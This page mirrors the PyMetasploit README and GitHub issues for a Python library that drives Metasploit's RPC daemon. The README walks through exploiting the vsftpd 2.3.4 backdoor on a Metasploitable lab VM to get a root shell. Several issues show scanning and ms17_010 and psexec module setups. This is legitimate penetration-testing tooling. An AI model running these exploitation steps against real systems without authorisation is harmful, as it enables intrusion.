Git Product home page Git Product logo

pymetasploit's Introduction

PyMetasploit - a full-fledged msfrpc library for Python

PyMetasploit is a full-fledged msfrpc library for Python. It is meant to interact with the msfrpcd daemon that comes with the latest versions of Metasploit. It does NOT interact with the console-based scripts that Metasploit provides such as msfconsole, msfvenom, etc. Therefore, before you can begin to use this library, you'll need to initialize msfrpcd and optionally (highly recommended) PostgreSQL.

Requirements

Before we begin, you'll need to install the following components:

Installing PostgreSQL is highly recommended as it will improve response times when querying msfrpcd (Metasploit RPC daemon) for module information.

Tutorial

Starting msfrpcd

msfrpcd accepts the following arguments:

$ ./msfrpcd -h

   Usage: msfrpcd <options>

   OPTIONS:

       -P <opt>  Specify the password to access msfrpcd
       -S        Disable SSL on the RPC socket
       -U <opt>  Specify the username to access msfrpcd
       -a <opt>  Bind to this IP address
       -f        Run the daemon in the foreground
       -h        Help banner
       -n        Disable database
       -p <opt>  Bind to this port instead of 55553
       -u <opt>  URI for Web server

The only parameter that is required to launch msfrpcd is the -P (password) parameter. This specifies the password that will be used to authenticate users to the daemon. As of this writing, msfrpcd only supports one username/password combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the msfrpcd daemon listens on port 55553 on all interfaces (0.0.0.0:55553).

For the purposes of this tutorial let's start the msfrpcd daemon with a minimal configuration:

$ ./msfrpcd -P mypassword -n -f -a 127.0.0.1
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] MSGRPC ready at 2014-04-19 23:49:39 -0400.

The -f parameter tells msfrpcd to remain in the foreground and the -n parameter disables database support. Finally, the -a parameter tells msfrcpd to listen for requests only on the local loopback interface (127.0.0.1).

MsfRpcClient - Brief Overview

Connecting to msfrpcd

Let's get started interacting with the Metasploit framework from python:

>>> from metasploit.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('mypassword')

The MsfRpcClient class provides the core functionality to navigate through the Metasploit framework. Let's take a look at its underbelly:

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri']
>>>

Like the metasploit framework, MsfRpcClient is segmented into different management modules:

  • auth: manages the authentication of clients for the msfrpcd daemon.
  • consoles: manages interaction with consoles/shells created by Metasploit modules.
  • core: manages the Metasploit framework core.
  • db: manages the backend database connectivity for msfrpcd.
  • modules: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.)
  • plugins: manages the plugins associated with the Metasploit core.
  • sessions: manages the interaction with Metasploit meterpreter sessions.

Running an Exploit

Just like the Metasploit console, you can retrieve a list of all the modules that are available. Let's take a look at what exploits are currently loaded:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

We can also retrieve a list of auxiliary, encoders, nops, payloads, and post modules using the same syntax:

>>> client.modules.auxiliary
...
>>> client.modules.encoders
...
>>> client.modules.nops
...
>>> client.modules.payloads
...
>>> client.modules.post
...

Now let's interact with one of the exploit modules:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

If all is well at this point, you will be able to query the module for various pieces of information such as author, description, required run-time options, etc. Let's take a look:

>>>  print exploit.description

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.authors
['hdm <[email protected]>', 'MC <[email protected]>']
>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.required # Required options
['ConnectTimeout', 'RPORT', 'RHOST']

That's all fine and dandy but you're probably really itching to pop a box with this library right now, amiright!? Let's do it! Let's use a Metasploitable 2 instance running on a VMWare machine as our target. Luckily it's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit module loaded in PyMetasploit. Our next step is to specify our target:

>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
>>>

You can also specify or retrieve other options as well, as long as they're listed in exploit.options, using the same method as shown above. For example, let's get and set the VERBOSE option:

>>> exploit['VERBOSE']
False
>>> exploit['VERBOSE'] = True
>>> exploit['VERBOSE']
True
>>>

Awesome! So now we're ready to execute our exploit. All we need to do is select a payload:

>>> exploit.payloads
['cmd/unix/interact']
>>>

At this point, this exploit only supports one payload (cmd/unix/interact). So let's pop a shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>

Excellent! It looks like our exploit ran successfully. How can we tell? The job_id key contains a number. If the module failed to execute for any reason, job_id would be None. For long running modules, you may want to poll the job list by checking client.jobs.list. Since this is a fairly quick exploit, the job list will most likely be empty and if we managed to pop our box, we might see something nice in the sessions list:

>>> client.sessions.list
{1: {'info': '', 'username': 'ndouba', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>

Success! We managed to pop the box! client.sessions.list shows us that we have a live session with the same uuid as the one we received when executing the module earlier (exploit.execute()). Let's interact with the shell:

>>> shell = client.sessions.session(1)
>>> shell.write('whoami\n')
>>> print shell.read()
root
>>> # Happy dance!

This is just a sample of how powerful PyMetasploit can be. Use your powers wisely, Grasshopper, because with great power comes great responsibility – unless you are a banker.

Questions?

Email me at ndouba.at.gmail.com

pymetasploit's People

Contributors

allfro avatar lmilby-r7 avatar mberezin-r7 avatar mrinehart-r7 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pymetasploit's Issues

How to run exploit with option -j ?

Hi, first of all compliments for your job, it's very easy to use and useful.
I would like to ask you if it is possible to execute exploits using the option "-j".
I am trying to figure it out, but what should I add in this command?

exploit.execute(payload=mypayload,...)

Thanks in advance.

Output of a port scanner

Hi,
Is it possible to get the output of a port scanner?

My code is:

client = MsfRpcClient(password = "RpcPass1010" , port = '61020')

scanner = client.modules.use('auxiliary', 'scanner/portscan/tcp')
scanner['PORTS'] = '80, 8080'
scanner['RHOSTS'] = '192.168.2.8'
scanner['THREADS'] = 10
scanner['TIMEOUT'] = 1
scanner.execute()

Do I need to change anything or add something to get the output of this?

Thank you

AttributeError: can't set attribute (on option attribute)

>>> from metasploit.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('1oP619Xd', server='10.0.0.42', port=55553, ssl=False)
>>> client.modules.use('exploit', 'exploit/windows/smb/ms08_067_netapi')
Traceback (most recent call last):
  File "<input>", line 1, in <module>
    client.modules.use('exploit', 'osx/browser/software_update')
  File "/Library/Python/2.7/site-packages/metasploit/msfrpc.py", line 1661, in use
    return ExploitModule(self.rpc, mname)
  File "/Library/Python/2.7/site-packages/metasploit/msfrpc.py", line 1486, in __init__
    super(ExploitModule, self).__init__(rpc, 'exploit', exploit)
  File "/Library/Python/2.7/site-packages/metasploit/msfrpc.py", line 1327, in __init__
    setattr(self, k, self._info.get(k))
AttributeError: can't set attribute

Session Disconnected: NameError undefined local variable or method `data'

I am new to Metasploit and Python. In Pymetasploit, I am using "multi/http/oracle_weblogic_wsat_deserialization_rce" module for exploitation with payload "cmd/unix/reverse_python".
Everything went well until I executed "print shell.read()" command (I am following the README.md) when I encountered following error:

shell = client.sessions.session(1)
shell.write("whoami\n")
print shell.read()
Traceback (most recent call last):
File "", line 1, in
File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1823, in read
return self.rpc.call(MsfRpcMethod.SessionShellRead, self.id)['data']
File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 236, in call
raise MsfRpcError(result['error_message'])
metasploit.msfrpc.MsfRpcError: Session Disconnected: NameError undefined local variable or method `data' for #Msf::RPC::RPC_Session:0x000055f37858e398

I am not able to solve this issue so any advice is appreciated.

AttributeError: can't set attribute

>>> exploit = client.modules.use('exploit', 'multi/handler')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1660, in use
    Mandatory Arguments:
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1485, in __init__
    Mandatory Arguments:
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1326, in __init__
    "runoptions"]
AttributeError: can't set attribute
>>> exploit = client.modules.use('exploit', 'multi/handler')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1660, in use
    return ExploitModule(self.rpc, mname)
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1485, in __init__
    super(ExploitModule, self).__init__(rpc, 'exploit', exploit)
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 1326, in __init__
    setattr(self, k, self._info.get(k))
AttributeError: can't set attribute

there is:

>>> print client.modules.exploits[329]
multi/handler

Cannot exit normally after creating MsfRpcConsole

Description:

Cannot exit normally after creating MsfRpcConsole

Test script:

from pymetasploit3.msfrpc import MsfRpcClient
from pymetasploit3.msfconsole import MsfRpcConsole
client = MsfRpcClient("123456", port=55553)
console = MsfRpcConsole(client, cb=None)

Expected result:

exit normally

Actual result:

Cannot exit normally, never stops running!

$ python3
Python 3.6.9 (default, Oct 8 2020, 12:12:24)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

from pymetasploit3.msfrpc import MsfRpcClient
from pymetasploit3.msfconsole import MsfRpcConsole
client = MsfRpcClient("123456", port=55553)
console = MsfRpcConsole(client, cb=None)
_ _
/ \ /\ __ _ __ // __
| |\ / | _____ \ \ ___ _____ | | / \ _ \
| | /| | | \ |- -| /\ / \ | -/ | || | || | |- -|
|
| | | | |
| |
/ -\ __\ \ | | | | _
/| | | |_
|/ |_/ _/ /\ \/ / _| |\ ___\

   =[ metasploit v6.0.1-dev-1663bf3184                ]
  • -- --=[ 2052 exploits - 1109 auxiliary - 346 post ]
  • -- --=[ 562 payloads - 45 encoders - 10 nops ]
  • -- --=[ 7 evasion ]

Metasploit tip: Metasploit can be configured at startup, see msfconsole --help to learn more

exit()
^CException ignored in: <module 'threading' from '/usr/lib/python3.6/threading.py'>
Traceback (most recent call last):
File "/usr/lib/python3.6/threading.py", line 1294, in _shutdown
t.join()
File "/usr/lib/python3.6/threading.py", line 1056, in join
self._wait_for_tstate_lock()
File "/usr/lib/python3.6/threading.py", line 1072, in _wait_for_tstate_lock
elif lock.acquire(block, timeout):
KeyboardInterrupt

cannot use payload

This is what it did:

client = MsfRpcClient('1234', ssl=False)
payload = client.modules.use('payload', 'windows/meterpreter_reverse_tcp')

and it shows:

Traceback (most recent call last):
  File "/Users/billwu/PycharmProjects/Test/test.py", line 5, in <module>
    payload = client.modules.use('payload', 'windows/meterpreter_reverse_tcp')
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/metasploit/msfrpc.py", line 1670, in use
    return PayloadModule(self.rpc, mname)
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/metasploit/msfrpc.py", line 1572, in __init__
    super(PayloadModule, self).__init__(rpc, 'payload', payload)
  File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/metasploit/msfrpc.py", line 1326, in __init__
    setattr(self, k, self._info.get(k))
AttributeError: can't set attribute

AttributeError: can't set attribute

When I try to use a module , I get AttributeError: can't set attribute

client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
Traceback (most recent call last):
File "", line 1, in
File "build/bdist.linux-x86_64/egg/metasploit/msfrpc.py", line 1660, in use
File "build/bdist.linux-x86_64/egg/metasploit/msfrpc.py", line 1485, in init
File "build/bdist.linux-x86_64/egg/metasploit/msfrpc.py", line 1326, in init
AttributeError: can't set attribute

import MsfRpcClient Prompt for grammatical errors

[root@localhost ~]# python3
Python 3.5.5 (default, Dec 5 2019, 17:06:29)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] on linux
Type "help", "copyright", "credits" or "license" for more information.

from pymetasploit3.msfrpc import MsfRpcClient
Traceback (most recent call last):
File "", line 1, in
File "/root/.local/lib/python3.5/site-packages/pymetasploit3/msfrpc.py", line 1798
out = self.run_with_output(f'load {plugin}', end_strs)
^
SyntaxError: invalid syntax

socket.error in MsfRpcClient

  File "./test.py", line 6, in <module>
    client = MsfRpcClient('x', username = "x", ssl = False)
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 207, in __init__
    self.login(kwargs.get('username', 'msf'), password)
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 309, in login
    r = self.call(MsfRpcMethod.AuthLogin, username, password)
  File "/usr/local/lib/python2.7/dist-packages/metasploit/msfrpc.py", line 225, in call
    r = self.client.getresponse()
  File "/usr/lib/python2.7/httplib.py", line 1121, in getresponse
    response.begin()
  File "/usr/lib/python2.7/httplib.py", line 438, in begin
    version, status, reason = self._read_status()
  File "/usr/lib/python2.7/httplib.py", line 394, in _read_status
    line = self.fp.readline(_MAXLINE + 1)
  File "/usr/lib/python2.7/socket.py", line 480, in readline
    data = self._sock.recv(self._rbufsize)
socket.error: [Errno 104] Connection reset by peer
x@CAT:~$ sudo netstat -ntlp | grep msfrpcd
tcp        0      0 0.0.0.0:55553           0.0.0.0:*               LISTEN      24275/msfrpcd

Can you help me with that?

socket.error is not solving

when i try to run command client = MsfRpcClient('lokesh1095')
i get following error. i tried many things but error is persistent. cant solve it. any help??

Traceback (most recent call last):
  File "/root/Documents/attckByMSF.py", line 6, in <module>
    client = MsfRpcClient('mypassword')
  File "/root/Documents/pymetasploit-master/src/metasploit/msfrpc.py", line 213, in **init**
    self.login(kwargs.get('username', 'msf'), password)
  File "/root/Documents/pymetasploit-master/src/metasploit/msfrpc.py", line 315, in login
    r = self.call(MsfRpcMethod.AuthLogin, username, password)
  File "/root/Documents/pymetasploit-master/src/metasploit/msfrpc.py", line 230, in call
    self.client.request('POST', self.uri, packb(l), self._headers)
  File "/usr/lib/python2.7/httplib.py", line 1057, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib/python2.7/httplib.py", line 1097, in _send_request
    self.endheaders(body)
  File "/usr/lib/python2.7/httplib.py", line 1053, in endheaders
    self._send_output(message_body)
  File "/usr/lib/python2.7/httplib.py", line 897, in _send_output
    self.send(msg)
  File "/usr/lib/python2.7/httplib.py", line 859, in send
    self.connect()
  File "/usr/lib/python2.7/httplib.py", line 1270, in connect
    HTTPConnection.connect(self)
  File "/usr/lib/python2.7/httplib.py", line 836, in connect
    self.timeout, self.source_address)
  File "/usr/lib/python2.7/socket.py", line 575, in create_connection
    raise err
socket.error: [Errno 111] Connection refused

Fixes to be applied when using Python 3

httplib does not exist in python3, httplib2 does not have a HTTPConnection class but uses HTTPConnectionWithTimeout.
So one option would be refactoring some code to use httplib2 or use http.client instead (so does httplib2)
or changing msfrpc.py line 3 to:
from http.client import HTTPConnection, HTTPSConnection

Using http.client throws a failing certificate-validation in the way which I managed to circumvent using some ugly monkeypatching.

Last issue so far:

client = MsfRpcClient("actual_password")
Traceback (most recent call last):
  File "/usr/local/lib/python3.5/dist-packages/metasploit/msfrpc.py", line 316, in login
    if r['result'] == 'success':
KeyError: 'result'

Will fail now since Python3 discriminates between strings and Bytes.
Fixed by using:
try:


if r[b'result'] == b'success':
    self.sessionid = r[b'token']
    except KeyError:
        raise MsfRpcError('Login failed.')

EDIT: The String / Byte thingie will repeat quite a few times. Maybe I'll send you a pull request after I'm done…

How to search exploits based on CVE

Is there a way to search the metasploit exploits based on the common vulnerabilities and exploits (CVE) number or title using the current pymetasploit api?

ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)

from metasploit.msfrpc import MsfRpcClient
client = MsfRpcClient('mypassword')
Traceback (most recent call last):
File "", line 1, in
File "/usr/local/lib/python2.7/site-packages/metasploit/msfrpc.py", line 207, in init
self.login(kwargs.get('username', 'msf'), password)
File "/usr/local/lib/python2.7/site-packages/metasploit/msfrpc.py", line 309, in login
r = self.call(MsfRpcMethod.AuthLogin, username, password)
File "/usr/local/lib/python2.7/site-packages/metasploit/msfrpc.py", line 224, in call
self.client.request('POST', self.uri, packb(l), self._headers)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1042, in request
self._send_request(method, url, body, headers)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1082, in _send_request
self.endheaders(body)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1038, in endheaders
self._send_output(message_body)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 882, in _send_output
self.send(msg)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 844, in send
self.connect()
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1263, in connect
server_hostname=server_hostname)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/ssl.py", line 363, in wrap_socket
_context=self)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/ssl.py", line 611, in init
self.do_handshake()
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/ssl.py", line 840, in do_handshake
self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)

problem CannotSendRequest

...

client = MsfRpcClient('password')

# cb - callback function, executes when data arrives to console
console = MsfRpcConsole(client, cb=read_console)

...

console.execute('use auxiliary/scanner/smb/smb_ms17_010')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')

...
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_psexec')

Exception in thread Thread-101:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 1082, in run
self.function(*self.args, **self.kwargs)
File "build/bdist.linux-x86_64/egg/metasploit/msfconsole.py", line 60, in _poller
d = self.console.read()
File "build/bdist.linux-x86_64/egg/metasploit/msfrpc.py", line 1907, in read
return self.rpc.call(MsfRpcMethod.ConsoleRead, self.cid)
File "build/bdist.linux-x86_64/egg/metasploit/msfrpc.py", line 237, in call
self.client.request('POST', self.uri, packb(l), self._headers)
File "/usr/lib/python2.7/httplib.py", line 1039, in request
self._send_request(method, url, body, headers)
File "/usr/lib/python2.7/httplib.py", line 1067, in _send_request
self.putrequest(method, url, **skips)
File "/usr/lib/python2.7/httplib.py", line 921, in putrequest
raise CannotSendRequest()
CannotSendRequest

help me
what is the reason?

Tomcat Uplaod AttributeError: can't set attribute

Hello,
when i use this :

cli = MsfRpcClient(username="msf", password="test")
lista = cli.modules.exploits
exploit = cli.modules.use('exploit', 'multi/http/tomcat_mgr_upload')

i get :
AttributeError: can't set attribute

Why ?

Unable to Set Payload with Reverse_tcp

Thanks for such a great repo . I am working on one module and i need to add meterpreter/reverse_tcp payload . How can i add it please help me i am unable to find any options related to payloads

Documentations

Hey Friend,

There's any docs regarding the functionalities of this wonderfull library?

Best,

use load

Hi, how i can use load function (Load a framework plugin)?
for example:
load wmap

and then i would to use wmap!!!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.